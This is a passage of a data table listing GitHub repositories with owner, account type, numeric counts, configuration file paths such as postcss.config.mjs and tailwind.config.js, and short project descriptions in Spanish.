BhavikPatel-dreamz/Homeopathway | BhavikPatel-dreamz | Organization | 0 | 0 | 1 | postcss.config.mjs | Homeopathway | | | 59 | digitalschool-tech/tech-static | digitalschool-tech | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 60 | tricodenetwork/lock-up | tricodenetwork | Organization | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 61 | Sahl-AI/sahl-ai-iframe | Sahl-AI | Organization | 0 | 0 | 1 | tailwind.config.js | Contiene la aplicación React demo para probar el enfoque iframe | | | 62 | dawahanigeria-team/domainping | dawahanigeria-team | Organization | 0 | 0 | 1 | frontend/tailwind.config.js | | | | 63 | shahid538org/microrealestate | shahid538org | Organization | 0 | 0 | 1 | webapps/landlord/tailwind.config.js | | | | 64 | orynth-dev/vite-shadcn-template | orynth-dev | Organization | 0 | 0 | 1 | tailwind.config.js | | | | 65 | FlowBondTech/egator | FlowBondTech | Organization | 0 | 0 | 1 | apps/web/tailwind.config.js | AIeGator - Motor de agregación de eventos impulsado por IA (ETHDenver vía Luma) | | | 66 | sparktechagency/u_tee_hub | sparktechagency | Organization | 0 | 0 | 1 | tailwind.config.js | | | | 67 | Enigma-Incorporated-Ltd/N0DE-Website | Enigma-Incorporated-Ltd | Organization | 0 | 0 | 2 | tailwind.config.js | src/tailwind.config.js | | | | 68 | FSDTeam-SAA/AMES_Investment_new | FSDTeam-SAA | Organization | 0 | 0 | 1 | tailwind.config.js | | | | 69 | Frontier-tech-consulting/olas-mcp-application-workflow | Frontier-tech-consulting | Organization | 0 | 0 | 1 | docs/tailwind.config.js | Esto consiste en el flujo de trabajo de la maqueta UI correspondiente al ecosistema Olas (para que los usuarios ejecuten la aplicación MCP para realizar interacciones en cadena). | | | 70 | Softvence-Omega-Dev-Ninjas/vic_pec_server_app | Softvence-Omega-Dev-Ninjas | Organization | 0 | 0 | 1 | eslint.config.mjs | | | | 71 | Softvence-Omega-Dev-Ninjas/jdadzok_server | Softvence-Omega-Dev-Ninjas | Organization | 0 | 0 | 1 | eslint.config.mjs | | | | 72 | Binary-Mindz/agimtula_server | Binary-Mindz | Organization | 0 | 0 | 1 | eslint.config.mjs | | | | 73 | Softvence-Omega-Dev-Ninjas/alvaaro-server | Softvence-Omega-Dev-Ninjas | Organization | 0 | 0 | 1 | eslint.config.mjs | | | | 74 | Softvence-Omega-Cyber-Monk/nishant-server | Softvence-Omega-Cyber-Monk | Organization | 0 | 0 | 1 | eslint.config.mjs | | | | 75 | softvence-omega-future-stack/huss-be | softvence-omega-future-stack | Organization | 0 | 0 | 1 | eslint.config.mjs | | | | 76 | BhavikPatel-dreamz/Products-filters-react | BhavikPatel-dreamz | Organization | 0 | 0 | 1 | src/App.js | | | | 77 | Victorola-coder/tewo | Victorola-coder | User | 9 | 6 | 1 | tailwind.config.js | tewosimi boboyi, ebi n pami | | | 78 | Atik203/Scholar-Flow | Atik203 | User | 4 | 4 | 1 | apps/frontend/postcss.config.mjs | ScholarFlow es una plataforma SaaS diseñada para investigadores, estudiantes, profesores y equipos académicos para cargar, organizar y revisar trabajos de investigación con colecciones, anotaciones, búsqueda y colaboración en equipo en una biblioteca de investigación compartida. | | | 79 | Kreliannn/Document-Request-System-FRONTEND | Kreliannn | User | 8 | 1 | 1 | postcss.config.mjs | Un sistema basado en web que permite a los residentes solicitar documentos del barangay en línea sin visitar la sala del barangay. Los residentes pueden rastrear el estado de su solicitud, recibir notificaciones por correo electrónico y ver el historial de solicitudes. El administrador del barangay puede gestionar solicitudes, actualizar estados y rastrear el historial de transacciones. | | | 80 | coderkhalide/Anti-Detect-Browser | coderkhalide | User | 2 | 4 | 1 | src/renderer/tailwind.config.js | | | | 81 | WeerasingheMSC/ASMS_Frontend | WeerasingheMSC | User | 1 | 4 | 1 | asms_frontend/postcss.config.mjs | Sistema de registro de tiempo de servicio automotriz y programación de citas full-stack construido con Next.js, TypeScript, TailwindCSS y Ant Design para el frontend. Incluye portales para clientes y empleados, seguimiento de servicios en tiempo real, reserva de citas, registro de tiempo y despliegue contenerizado. | | | 82 | fsdteam8/n_Krypted-frontend | fsdteam8 | User | 0 | 4 | 1 | postcss.config.mjs | | | | 83 | tanushbhootra576/Bionary-Website-Challenge-and-final | tanushbhootra576 | User | 4 | 2 | 1 | bionary_website/tailwind.config.js | | | | 84 | Kreliannn/PDF-To-Reviewer-Quiz-FRONTEND | Kreliannn | User | 7 | 0 | 1 | postcss.config.mjs | Una aplicación web que usa IA para convertir archivos PDF en revisores tipo Q&A. El usuario puede personalizar el resultado generado antes de guardarlo. El usuario puede revisar y tomar un cuestionario personalizable utilizando ese revisor generado por IA guardado. | | | 85 | tanushbhootra576/collegeConnect | tanushbhootra576 | User | 5 | 1 | 1 | postcss.config.mjs | | | | 86 | brown2020/ikigaifinder | brown2020 | User | 4 | 1 | 1 | postcss.config.mjs | | | | 87 | Kreliannn/commision_portfolio | Kreliannn | User | 6 | 0 | 1 | postcss.config.mjs | | | | 88 | coderkhalide/Trading-Journal | coderkhalide | User | 4 | 1 | 1 | postcss.config.mjs | Diario de trading profesional para rastrear, analizar y mejorar tu rendimiento de trading en diferentes sistemas y marcos temporales. | | | 89 | tanushbhootra576/weather | tanushbhootra576 | User | 4 | 1 | 1 | postcss.config.mjs | proyecto de hackathon | | | 90 | Kreliannn/student-passed-rate-analysis-frontend | Kreliannn | User | 5 | 0 | 1 | postcss.config.mjs | | | | 91 | Kreliannn/pharmacy-management-frontend | Kreliannn | User | 5 | 0 | 1 | postcss.config.mjs | | | | 92 | Kreliannn/Employee-management-frontend | Kreliannn | User | 5 | 0 | 1 | postcss.config.mjs | | | | 93 | Kreliannn/e-commerce-frontend | Kreliannn | User | 5 | 0 | 1 | postcss.config.mjs | | | | 94 | umarabid123/The_INTERNET_OF_AGENTS_HACKATHON | umarabid123 | User | 1 | 2 | 1 | frontend/postcss.config.mjs | | | | 95 | ahmadraza382/FinanceAi | ahmadraza382 | User | 3 | 1 | 1 | tailwind.config.js | Coach de Finanzas con IA | | | 96 | tanushbhootra576/turbo-happiness | tanushbhootra576 | User | 4 | 0 | 1 | postcss.config.mjs | | | | 97 | shaheeer-dev/sketchers | shaheeer-dev | User | 0 | 2 | 1 | postcss.config.mjs | | | | 98 | tanushbhootra576/game | tanushbhootra576 | User | 4 | 0 | 1 | postcss.config.mjs | | | | 99 | tanushbhootra576/GridSaga | tanushbhootra576 | User | 4 | 0 | 1 | postcss.config.mjs | | | | 100 | senulahesara/devkit | senulahesara | User | 2 | 1 | 1 | postcss.config.mjs | Herramientas esenciales, rendimiento ultrarrápido y funciones listas para usar sin conexión, construidas para optimizar tu flujo de trabajo y mantenerte enfocado en lo que importa: escribir código de calidad. | | | 101 | tanushbhootra576/week3-forms-and-inputs | tanushbhootra576 | User | 4 | 0 | 1 | postcss.config.mjs | | | | 102 | tanushbhootra576/PW-app | tanushbhootra576 | User | 4 | 0 | 1 | postcss.config.mjs | | | | 103 | tanushbhootra576/RESTRO | tanushbhootra576 | User | 4 | 0 | 1 | tailwind.config.js | | | | 104 | tanushbhootra576/MoodSync | tanushbhootra576 | User | 4 | 0 | 1 | App.js | | | | 105 | Amanbanti/Capstone | Amanbanti | User | 1 | 1 | 1 | frontend/postcss.config.mjs | El Proyecto Capstone es una experiencia académica y práctica culminante para estudiantes de los programas de Ingeniería de Software (SE) y Ciencias de la Computación e Ingeniería (CSE). | | | 106 | ShifaLabs/shifa | ShifaLabs | User | 1 | 1 | 1 | postcss.config.mjs | Shefa es una plataforma de telemedicina basada en web que permite a los pacientes consultar a médicos verificados a través de videollamadas en la aplicación en tiempo real, recibir recetas digitales y gestionar su atención médica de forma remota en un entorno seguro y profesional. Este es un sistema desplegable de grado de producción, no un demo o maqueta académica. | | | 107 | SouravDn-p/mobile-canvas-nextjs | SouravDn-p | User | 1 | 1 | 1 | postcss.config.mjs | MobileCanvas es una plataforma de comercio electrónico full-stack moderna enfocada en la venta de gadgets y dispositivos móviles. Construida con Next.js, Redux Toolkit y MongoDB, ofrece una experiencia de compra segura, receptiva y fluida para los usuarios y potentes herramientas de gestión para los administradores. | | | 108 | RinSanom/IoTWeb | RinSanom | User | 1 | 1 | 1 | postcss.config.mjs | | | | 109 | kanchana404/Google-bussiness-api-Get-reviews-and-Reply-reviews | kanchana404 | User | 1 | 1 | 1 | postcss.config.mjs | | | | 110 | Salman1205/MailAssist | Salman1205 | User | 1 | 1 | 1 | postcss.config.mjs | Plataforma de atención al cliente potenciada por IA con integración de Gmail, tickets inteligentes, respuestas automatizadas, integración con Shopify y colaboración en equipo en tiempo real. | | | 111 | Yassin-Younis/bypass-in-app-browser | Yassin-Younis | User | 3 | 0 | 1 | next.config.mjs | Evita los navegadores integrados de aplicaciones de redes sociales como Instagram, Facebook, TikTok y más. Envía a los usuarios a su navegador nativo cuando hacen clic en tus anuncios de redes sociales para mejorar la interacción, el seguimiento preciso y aumentar las conversiones. | | | 112 | Lithira-Silva/TrueClaim---ITPM- | Lithira-Silva | User | 2 | 0 | 1 | client/postcss.config.mjs | TrueClaim — Un sistema inteligente de gestión de reclamaciones desarrollado como un proyecto ITPM en SLIIT (Año 3, Semestre 2). Construido con el stack MERN para agilizar y automatizar el proceso de reclamaciones de seguros con precisión y eficiencia. | | | 113 | maaz-bin-hassan/sahoolat-web-new | maaz-bin-hassan | User | 2 | 0 | 1 | postcss.config.mjs | | | | 114 | Pramadu2001/ITPM_MODUS | Pramadu2001 | User | 0 | 1 | 1 | my-app/postcss.config.mjs | Proyecto de gestión de proyectos de tecnología de la información de 3er año 2º semestre, que es la plataforma de aprendizaje MODUS. | | | 115 | abimtad/upload_file | abimtad | User | 0 | 1 | 1 | postcss.config.mjs | | | | 116 | anilgoswamistartbitsolutions/travel-platform | anilgoswamistartbitsolutions | User | 0 | 1 | 3 | sites/holidaydeals/postcss.config.mjs | travel_template/package/postcss.config.mjs | travel_template/old/postcss.config.mjs | | | | 117 | AhsanalyOfficial/ahsan_portfolio | AhsanalyOfficial | User | 0 | 1 | 1 | postcss.config.mjs | | | | 118 | HevenDev/rmw-new-design | HevenDev | User | 0 | 1 | 1 | postcss.config.mjs | | | | 119 | anilgoswamistartbitsolutions/travel-payload-sites | anilgoswamistartbitsolutions | User | 0 | 1 | 2 | sites/holidaydeals/postcss.config.mjs | sites/luxurytravels/postcss.config.mjs | | | | 120 | dhruvmalik007/solana-colossum-hackathon | dhruvmalik007 | User | 0 | 1 | 2 | apps/web/postcss.config.mjs | packages/ui/postcss.config.mjs | Construyendo un mercado de predicciones para la plataforma de inversión temática para carteras de inversión sostenibles. | | | 121 | Tiewasters99/AI_Law_Wizard | Tiewasters99 | User | 0 | 1 | 1 | postcss.config.mjs | | | | 122 | coderkhalide/scalping-trading-tools | coderkhalide | User | 0 | 1 | 1 | postcss.config.mjs | Configura y califica tus entradas de trading con factores ponderados, calificación individual de factores, puntos extra y calificaciones con letras. | | | 123 | monazahmed/Agrismart-project- | monazahmed | User | 0 | 1 | 1 | postcss.config.mjs | | | | 124 | Gowreesh-VT/SherlockIT | Gowreesh-VT | User | 0 | 1 | 1 | postcss.config.mjs | | | | 125 | webprogramminghack/b3-practice-30 | webprogramminghack | User | 0 | 1 | 1 | postcss.config.mjs | | | | 126 | Salman1205/Mail-Assist-CRM | Salman1205 | User | 2 | 0 | 1 | postcss.config.mjs | | | | 127 | AbdulwahidHusein/Shipper-chat | AbdulwahidHusein | User | 2 | 0 | 1 | frontend/postcss.config.mjs | | | | 128 | michelzappy/zappy-scratch-091225 | michelzappy | User | 0 | 1 | 1 | frontend/tailwind.config.js | | | | 129 | Ali-Hamas/Learn_Hub | Ali-Hamas | User | 0 | 1 | 1 | frontend/tailwind.config.js | LearnHub - Plataforma de aprendizaje multiinstructor con FastAPI, React, MongoDB, pagos Stripe y tutor IA. | | | 130 | VALENSAPP/coin_backend | VALENSAPP | User | 0 | 1 | 1 | eslint.config.mjs | Repositorio Backend. | | | 131 | QaisarWaheed/Aluminum-POS | QaisarWaheed | User | 0 | 1 | 1 | eslint.config.mjs | | | | 132 | Abdulbasit219/UPSkaleAI | Abdulbasit219 | User | 1 | 0 | 1 | postcss.config.mjs | Aplicación UP SKale AI para estudiantes (aprendices) y (generadores de ingresos) (Proyecto FYP) | | | 133 | Satyam3002/nextauth | Satyam3002 | User | 1 | 0 | 1 | postcss.config.mjs | | | | 134 | ahmadraza382/Hospital-management-system | ahmadraza382 | User | 1 | 0 | 1 | postcss.config.mjs | | | | 135 | AKDebug-UX/challengePR | AKDebug-UX | User | 1 | 0 | 1 | postcss.config.mjs | | | | 136 | Ruwanima/ella-south-star-frontend | Ruwanima | User | 1 | 0 | 1 | postcss.config.mjs | | | | 137 | ahmadraza382/Luxeurs-Shopping-Store | ahmadraza382 | User | 1 | 0 | 1 | postcss.config.mjs | | | | 138 | ahmadraza382/Portfolio | ahmadraza382 | User | 1 | 0 | 1 | postcss.config.mjs | | | | 139 | Ayesha-Siddiqui1234/katy-youth-hackathon-2025-dev-post- | Ayesha-Siddiqui1234 | User | 1 | 0 | 1 | frontend/postcss.config.mjs | Nuestro equipo participó en el hackathon juvenil katy 2025 y estamos construyendo un sitio web totalmente funcional con un chatbot integrado, algo así como un orientador vocacional que guía a los estudiantes en su trayectoria profesional. | | | 140 | WimpyvL/Zappy-Health-Dashboard | WimpyvL | User | 1 | 0 | 1 | postcss.config.mjs | | | | 141 | ifedolapoomoniyi/fleet-robotics | ifedolapoomoniyi | User | 1 | 0 | 1 | postcss.config.mjs | | | | 142 | muhammad-tahir-sultan/rehman-fyp-nextjs-multivendor | muhammad-tahir-sultan | User | 1 | 0 | 1 | postcss.config.mjs | | | | 143 | vkrms/wizard | vkrms | User | 1 | 0 | 1 | postcss.config.mjs | proyecto de entrenamiento de formulario multi-paso en react | | | 144 | Atik203/VocabPrep | Atik203 | User | 1 | 0 | 1 | frontend/postcss.config.mjs | Una aplicación web moderna y enfocada para ayudarte a construir y dominar el vocabulario en inglés a través de aprendizaje interactivo, sesiones de práctica y seguimiento del progreso. | | | 145 | web-ghoul/Portfolio | web-ghoul | User | 1 | 0 | 1 | postcss.config.mjs | Incluye mis proyectos, mis experiencias, mis certificados, mi contacto. | | | 146 | AbdulwahidHusein/ai-tools-directory | AbdulwahidHusein | User | 1 | 0 | 1 | postcss.config.mjs | | | | 147 | AhmadRazaKhokhar1/resturants-app | AhmadRazaKhokhar1 | User | 1 | 0 | 1 | postcss.config.mjs | | | | 148 | ishivamgaur/Ap-news-next-js | ishivamgaur | User | 1 | 0 | 1 | postcss.config.mjs | AP News es una aplicación de noticias basada en Next.js que ofrece contenido de noticias categorizado como política, deportes, tecnología, entretenimiento y actualizaciones en vivo con rendimiento rápido, optimización SEO y renderizado del lado del servidor. | | | 149 | amMubbasher/cleannami.ceenami-old | amMubbasher | User | 1 | 0 | 1 | postcss.config.mjs | | | | 150 | AbdulwahidHusein/crawler-dashboard | AbdulwahidHusein | User | 1 | 0 | 1 | postcss.config.mjs | | | | 151 | SouravDn-p/RexAuction | SouravDn-p | User | 1 | 0 | 1 | tailwind.config.js | Una aplicación web de subastas en tiempo real construida para experiencias de pujas en vivo, combinando características avanzadas como actualizaciones instantáneas, pujas inteligentes y comunicación en tiempo real entre usuarios. | | | 152 | AKDebug-UX/interactive-tv-app | AKDebug-UX | User | 1 | 0 | 1 | tailwind.config.js | | | | 153 | usman-174/VidSpark | usman-174 | User | 1 | 0 | 1 | client/tailwind.config.js | | | | 154 | NatyJoseDie/proyecto-nginx | NatyJoseDie | User | 1 | 0 | 1 | eslint.config.mjs | | | | 155 | AKDebug-UX/DoneWithIt | AKDebug-UX | User | 1 | 0 | 1 | App.js | | | | 156 | dhruvmalik007/forensics-board | dhruvmalik007 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 157 | Rahulkumarhavit/ProStore-Ecommerce | Rahulkumarhavit | User | 0 | 0 | 1 | postcss.config.mjs | | | | 158 | Bart3kL/shopify-components | Bart3kL | User | 0 | 0 | 1 | polaris-components/postcss.config.mjs | | | | 159 | mjatin-dev/logic-zephyr | mjatin-dev | User | 0 | 0 | 1 | postcss.config.mjs | | | | 160 | umrasghar/heygen-demo | umrasghar | User | 0 | 0 | 1 | postcss.config.mjs | | | | 161 | thanhdanh111/challenge | thanhdanh111 | User | 0 | 0 | 2 | Problem-2/postcss.config.mjs | Problem-3/postcss.config.mjs | | | | 162 | hamza-nafasat/rentin-frontend | hamza-nafasat | User | 0 | 0 | 1 | postcss.config.mjs | | | | 163 | rejoan121615/ClientOps | rejoan121615 | User | 0 | 0 | 1 | frontend/postcss.config.mjs | ClientOps es un panel de control de operaciones internas full-stack diseñado para agencias y pequeñas empresas para gestionar clientes, proyectos, miembros del equipo y flujos de trabajo de forma segura. | | | 164 | SouravDn-p/CMR | SouravDn-p | User | 0 | 0 | 1 | postcss.config.mjs | | | | 165 | EmanDeveloper/EasyTech | EmanDeveloper | User | 0 | 0 | 1 | postcss.config.mjs | | | | 166 | addis-ale/25-5-clock | addis-ale | User | 0 | 0 | 1 | postcss.config.mjs | | | | 167 | MSCPerera/Job-Board-App | MSCPerera | User | 0 | 0 | 1 | job-board-app/postcss.config.mjs | | | | 168 | Nathanim1919/nextjs-project | Nathanim1919 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 169 | TimothyBabatu13/AegisHealth-Smart | TimothyBabatu13 | User | 0 | 0 | 1 | aegis-health-smart/postcss.config.mjs | | | | 170 | Senti-fi/Senti.fi | Senti-fi | User | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 171 | Zentaurios/stable-monitor | Zentaurios | User | 0 | 0 | 1 | postcss.config.mjs | | | | 172 | SouravDn-p/Frontend-task | SouravDn-p | User | 0 | 0 | 1 | postcss.config.mjs | | | | 173 | Storaboy11/meerge | Storaboy11 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 174 | ahmedghonim/esraa | ahmedghonim | User | 0 | 0 | 1 | postcss.config.mjs | | | | 175 | vrunda310/AIA-VEGA-Frontend | vrunda310 | User | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 176 | emmanueldavidson96/popular_saas_product_landing_page | emmanueldavidson96 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 177 | pratikp72/deal-Project | pratikp72 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 178 | Al-amin07/file_sure | Al-amin07 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 179 | waris-ansar/finstar | waris-ansar | User | 0 | 0 | 1 | postcss.config.mjs | | | | 180 | MianHaziq/LKnight-Lms | MianHaziq | User | 0 | 0 | 1 | postcss.config.mjs | | | | 181 | pankajkhadse/TrustBasket | pankajkhadse | User | 0 | 0 | 1 | postcss.config.mjs | | | | 182 | adnaan-2/content-generation | adnaan-2 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 183 | malikjunaidhassann/seller-panel | malikjunaidhassann | User | 0 | 0 | 1 | postcss.config.mjs | | | | 184 | mdnuruzzamannirob/your-capture-awards-dashboard | mdnuruzzamannirob | User | 0 | 0 | 1 | postcss.config.mjs | | | | 185 | Minahil48/NY-caffine | Minahil48 | User | 0 | 0 | 1 | postcss.config.mjs | Todos tus antojos en un solo lugar | | | 186 | FrazKhan1/dev-team-chat | FrazKhan1 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 187 | jrioscloud/financial-document-analyzer | jrioscloud | User | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 188 | seemab-ahmed/rodopi | seemab-ahmed | User | 0 | 0 | 1 | postcss.config.mjs | | | | 189 | JudeTejada/digital-pods | JudeTejada | User | 0 | 0 | 1 | postcss.config.mjs | | | | 190 | msuhels/RapidProject-Pos-System | msuhels | User | 0 | 0 | 1 | postcss.config.mjs | | | | 191 | Al-amin07/project_5_frontend | Al-amin07 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 192 | abdullah2310ishaq/afronaut | abdullah2310ishaq | User | 0 | 0 | 1 | postcss.config.mjs | | | | 193 | Jaskaran2701/Test-1 | Jaskaran2701 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 194 | Deepanshu7-bit/nugen-interns | Deepanshu7-bit | User | 0 | 0 | 1 | postcss.config.mjs | | | | 195 | saifullah-max/bublr | saifullah-max | User | 0 | 0 | 1 | postcss.config.mjs | | | | 196 | Meet2054/automa8x-production-new | Meet2054 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 197 | bharatbrovitech/india-to-germany | bharatbrovitech | User | 0 | 0 | 1 | postcss.config.mjs | | | | 198 | PremShakti/PanchangCalendar | PremShakti | User | 0 | 0 | 1 | postcss.config.mjs | | | | 199 | Pa-ppy/Checkout | Pa-ppy | User | 0 | 0 | 1 | postcss.config.mjs | | | | 200 | Atif-Hameed/als-admin | Atif-Hameed | User | 0 | 0 | 1 | postcss.config.mjs | | | | 201 | Dawit212119/Devodemy | Dawit212119 | User | 0 | 0 | 1 | postcss.config.mjs | Construir un LMS usando Nextjs, React, Stripe, Mux, next app router, Prisma, Strip, Mysql, Docker, AWS Lambda, Redux Toolkit, Tailwind CSS, Shadcn, TypeScript, Zod, aws s3, aws CloudFront, Clerk. | | | 202 | SouravDn-p/NextManager-YourInventoryManager | SouravDn-p | User | 0 | 0 | 1 | postcss.config.mjs | Next.js Inventory Manager Un sistema de gestión de inventario full-stack construido con Next.js 14 App Router, Tailwind CSS, MongoDB y Redux Toolkit (RTK Query). Esta aplicación admite autenticación social a través de NextAuth.js (Google, GitHub) e inicio de sesión tradicional con correo electrónico/contraseña usando JWT. | | | 203 | ranjannkumar/Token-Vesting-App | ranjannkumar | User | 0 | 0 | 1 | postcss.config.mjs | | | | 204 | Usamahafiz8/fetchdetails | Usamahafiz8 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 205 | freelancework00700/CRM-test-task | freelancework00700 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 206 | ahmadraza382/APIs-integration | ahmadraza382 | User | 0 | 0 | 1 | postcss.config.mjs | Obtener datos de APIs solo para práctica y borrador | | | 207 | akashmuhammadabrrar/Resume-builder-NextTypescript | akashmuhammadabrrar | User | 0 | 0 | 1 | postcss.config.mjs | | | | 208 | abimtad/Customer-feedback | abimtad | User | 0 | 0 | 1 | postcss.config.mjs | | | | 209 | SanjayaPrasadRajapaksha/Blog_App | SanjayaPrasadRajapaksha | User | 0 | 0 | 1 | postcss.config.mjs | | | | 210 | MunibQazi12/next-starter-template | MunibQazi12 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 211 | PremShakti/multi-tenet-school-profile-app | PremShakti | User | 0 | 0 | 1 | postcss.config.mjs | | | | 212 | mirzaghalib4726/committee-system-next | mirzaghalib4726 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 213 | ChiraniSiriwardhana/Spirit11 | ChiraniSiriwardhana | User | 0 | 0 | 1 | postcss.config.mjs | Un sistema de autenticación seguro y fácil de usar. | | | 214 | developerdesigner18/Frontend-Task | developerdesigner18 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 215 | noors-code/Account-Settings | noors-code | User | 0 | 0 | 1 | postcss.config.mjs | | | | 216 | finom/vovk-hello-world | finom | User | 0 | 0 | 1 | postcss.config.mjs | Aplicación Vovk.ts Hello World | | | 217 | Yashpreetrana4790/Bestvocabulary_platform | Yashpreetrana4790 | User | 0 | 0 | 1 | postcss.config.mjs | Sitio web de aprendizaje de vocabulario | | | 218 | Atif-Hameed/unsigned-admin | Atif-Hameed | User | 0 | 0 | 1 | postcss.config.mjs | | | | 219 | saifullah-max/mandviwalla-mauser | saifullah-max | User | 0 | 0 | 1 | postcss.config.mjs | | | | 220 | Navoda001/Solana | Navoda001 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 221 | wolfstudiosai/braxx-frontend-v2 | wolfstudiosai | User | 0 | 0 | 1 | postcss.config.mjs | | | | 222 | cywasay/neorecruits- | cywasay | User | 0 | 0 | 1 | postcss.config.mjs | | | | 223 | raoarafat/steelh-website | raoarafat | User | 0 | 0 | 1 | postcss.config.mjs | | | | 224 | Qasim-dev/stock-tracker | Qasim-dev | User | 0 | 0 | 1 | postcss.config.mjs | | | | 225 | teresagrobecker/pensio_consortia | teresagrobecker | User | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 226 | umarabid123/Raise-Your-Hack | umarabid123 | User | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 227 | dhruvmalik007/xrpl_haks_hackathon_project | dhruvmalik007 | User | 0 | 0 | 1 | postcss.config.mjs | Envío para la competencia de hackathon XRPL: desarrollo de un marco de agente RAG para el monitoreo de precios y la creación de mercado de certificados de impacto. | | | 228 | addis-ale/EGA | addis-ale | User | 0 | 0 | 1 | postcss.config.mjs | | | | 229 | addis-ale/free_code_camp_task_01 | addis-ale | User | 0 | 0 | 1 | postcss.config.mjs | Tarea de certificación de bibliotecas frontend de Free CodeCamp | | | 230 | addis-ale/gd-landing-page | addis-ale | User | 0 | 0 | 1 | postcss.config.mjs | | | | 231 | Al-amin07/purple-cat-client | Al-amin07 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 232 | Al-amin07/apparel-trade-bd | Al-amin07 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 233 | Al-amin07/hyshin | Al-amin07 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 234 | Al-amin07/web-programming-lab | Al-amin07 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 235 | mdnuruzzamannirob/relo-website | mdnuruzzamannirob | User | 0 | 0 | 1 | postcss.config.mjs | | | | 236 | Harsimran-Nugen/assignment | Harsimran-Nugen | User | 0 | 0 | 1 | postcss.config.mjs | | | | 237 | cto-varun/user-crud-design-nextjs | cto-varun | User | 0 | 0 | 1 | postcss.config.mjs | | | | 238 | Aman-scripts/NugenEmployabilityTest | Aman-scripts | User | 0 | 0 | 1 | postcss.config.mjs | | | | 239 | akashstwt/inventory-management-majorproject | akashstwt | User | 0 | 0 | 1 | client/postcss.config.mjs | | | | 240 | akashstwt/TheGitcode | akashstwt | User | 0 | 0 | 1 | gitcodeweb/postcss.config.mjs | | | | 241 | Atif-Hameed/ALS-Panel | Atif-Hameed | User | 0 | 0 | 1 | postcss.config.mjs | | | | 242 | umarabid123/store-forge | umarabid123 | User | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 243 | addis-ale/discord | addis-ale | User | 0 | 0 | 1 | postcss.config.mjs | | | | 244 | addis-ale/hirecards-prod | addis-ale | User | 0 | 0 | 1 | postcss.config.mjs | | | | 245 | addis-ale/ega_updated | addis-ale | User | 0 | 0 | 1 | postcss.config.mjs | | | | 246 | addis-ale/group-match | addis-ale | User | 0 | 0 | 1 | postcss.config.mjs | | | | 247 | SanjayaPrasadRajapaksha/Hotel_Booking-Admin_Panel | SanjayaPrasadRajapaksha | User | 0 | 0 | 1 | postcss.config.mjs | | | | 248 | SanjayaPrasadRajapaksha/Todo_App | SanjayaPrasadRajapaksha | User | 0 | 0 | 1 | my-app/postcss.config.mjs | | | | 249 | PremShakti/Inventory-Todo-Manager | PremShakti | User | 0 | 0 | 1 | postcss.config.mjs | | | | 250 | fsdteam8/lowready-dashboard | fsdteam8 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 251 | badhon252/shift-scheduler | badhon252 | User | 0 | 0 | 1 | postcss.config.mjs | Construido para optimizar el programador de turnos | | | 252 | fsdteam8/stevenar77-dashboard | fsdteam8 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 253 | Atif-Hameed/unsigned-frontend | Atif-Hameed | User | 0 | 0 | 1 | postcss.config.mjs | | | | 254 | Atif-Hameed/social-admin | Atif-Hameed | User | 0 | 0 | 1 | postcss.config.mjs | | | | 255 | Atif-Hameed/cybenty | Atif-Hameed | User | 0 | 0 | 1 | postcss.config.mjs | | | | 256 | anthemnandani/ai | anthemnandani | User | 0 | 0 | 1 | postcss.config.mjs | | | | 257 | mijanConnect/the-piegeon-hub-website | mijanConnect | User | 0 | 0 | 1 | postcss.config.mjs | | | | 258 | Button-20/juzbuild | Button-20 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 259 | HyderYash/my-progess-tracker | HyderYash | User | 0 | 0 | 1 | postcss.config.mjs | | | | 260 | MohamedH1000/course | MohamedH1000 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 261 | nipun-imesh/sample-react | nipun-imesh | User | 0 | 0 | 1 | postcss.config.mjs | | | | 262 | sayyamButt317/ishout | sayyamButt317 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 263 | rvmediacorp/Headshot-Portland-Official | rvmediacorp | User | 0 | 0 | 1 | postcss.config.mjs | | | | 264 | Sawjal-sikder/faceAi-front-end | Sawjal-sikder | User | 0 | 0 | 1 | postcss.config.mjs | | | | 265 | SanjayaPrasadRajapaksha/E-Commerce | SanjayaPrasadRajapaksha | User | 0 | 0 | 1 | postcss.config.mjs | | | | 266 | Rahulkumarhavit/multi-tenant-architecture | Rahulkumarhavit | User | 0 | 0 | 1 | postcss.config.mjs | | | | 267 | Mohsin-Javed48/connectors-nextJs | Mohsin-Javed48 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 268 | Axxi3/hennery | Axxi3 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 269 | UzairAhmedDahraj/clickup-nextjs-demo | UzairAhmedDahraj | User | 0 | 0 | 1 | postcss.config.mjs | | | | 270 | Mike-flowbiz/Flowbiz-backend | Mike-flowbiz | User | 0 | 0 | 1 | postcss.config.mjs | API Backend para FlowBiz – Node.js, PostgreSQL, JWT, servicio PDF | | | 271 | phillipshepard1/internal-re-crm | phillipshepard1 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 272 | mahadi-zulfiker/mz-events-frontend | mahadi-zulfiker | User | 0 | 0 | 1 | 